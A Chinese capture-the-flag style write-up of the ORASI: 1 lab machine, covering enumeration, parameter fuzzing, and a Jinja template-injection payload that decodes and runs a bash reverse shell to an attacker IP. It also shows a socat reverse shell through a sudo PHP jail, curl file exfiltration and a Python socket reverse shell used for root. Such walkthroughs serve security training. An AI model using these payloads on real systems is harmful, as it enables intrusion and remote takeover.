靶机-ORASI: 1
background
学到了很多东西 这个靶机是我目前这段时间做过的最有意思的一个了
打点
开了个80和5000 80这不知道是什么东西 5000啥也没有
22端口可以匿名访问 尝试了下没有生成文件的权限,ftp里对应的文件也不是web目录的
文件执行就是这个样子 没有可用信息
逆一下 这堆insert不知道是干什么的
可以看到对应的字符 得/sh*4d0w$s
两个端口拼接了路径访问都没东西 在伪代码里直接转成char 得/sh4d0w$s
访问5000端口有反应 提示我们需要参数 测了下不支持post参数 上了我有的所有字典 都找不到参数
到这里就无解了 后面都是看了wp的 因为提权也确实提不动(没用系统漏洞 21年的靶机拿22年的cve提 没啥意义 重点是学习)
实际上80端口的提示就是参数的提示 组成和长度啥的都是leet语里面的 使用crunch可生成字典文件
crunch 6 6 1337leet > cs.txt |
然后使用ffuz去fuzz 第一次用ffuz 真的好用啊 下次实战就用他了 这里参数错误的提示Size是8 所以我们过滤掉长度为8的响应
ffuf -w cs.txt -u 'http://192.168.116.54:5000/sh4d0w$s?FUZZ=1' -fs 8 |
得到l333tt
输入什么就返回什么 经典的ssti
getshell即可
http://192.168.116.54:5000/sh4d0w$s?l333tt={%for(x)in().__class__.__base__.__subclasses__()%}{%if%27war%27in(x).__name__%20%}{{x()._module.__builtins__[%27__import__%27](%27os%27).popen(%27echo%20c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMTYuMjM1LzEyMzQgMD4mMQ==|base64%20-d|bash%20-i%27).read()}}{%endif%}{%endfor%} |
横向-1
能够直接用kori的权限执行 /bin/php /home/kori/jail.php *
生成交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")' |
我自己做的时候也看到这个sudo的东西了 也看了下这个php文件 我以为是跑这个程序 然后rce拿kori的权限
但是要密码 没思路了
看别人的文章好神奇 直接可以在后面执行命令 后来咨询了下绿盟的高工 他一眼就看出来了
所以这里随随便便就能拿kori权限了 反弹shell
sudo -u kori /bin/php /home/kori/jail.php socat TCP:192.168.5.150:8899 EXEC:sh |
或者进python反弹shell
sudo -u kori /bin/php /home/kori/jail.php python |
横向-2
可以cp这个apk
给权限 移文件
chmod 777 -R /home/kori |
东西过去了之后得想办法拿出来 这里当然可以本地起python 但是实战中起了也没啥用 端口大概率不映射
尝试用curl或wget外带(这里wget带不出来 机子没有curl 懒得折腾了 还是用python开端口下了)
curl -X POST -F xx=@2.txt 127.0.0.1:8080 |
起一个python接收就行了 这里文件上传的参数是file
from flask import Flask, request, jsonify |
这里要注意原来的权限问题
直接sudo执行拿过来的文件 还是原来的文件属性
那就创建一个授权 然后再考过来就行了
touch irida.apk |
sudo -u irida /usr/bin/cp /home/irida/irida.apk /home/kori/irida.apk |
是一个apk 安装是一个登录页面
那就逆一下 账号是irida 密码放到lexiko 拼接了点
eye.of.the.tiger.() |
账号密码没问题 登进去了
ssh的密码需要去掉一个点 6的 最终密码是eye.of.the.tiger()
提权
能直接sudo一个脚本
但是里面的问题看不到 只能盲打 运行了进入一个输入页面 随便输出就报错了 显示了部分代码 这里是对name进行了hex解码
对字符串编码传入 思路没问题 同时还看到的name是exec包裹了的
尝试执行输出 没问题
print("ss34") |
弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.116.235",12));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh") |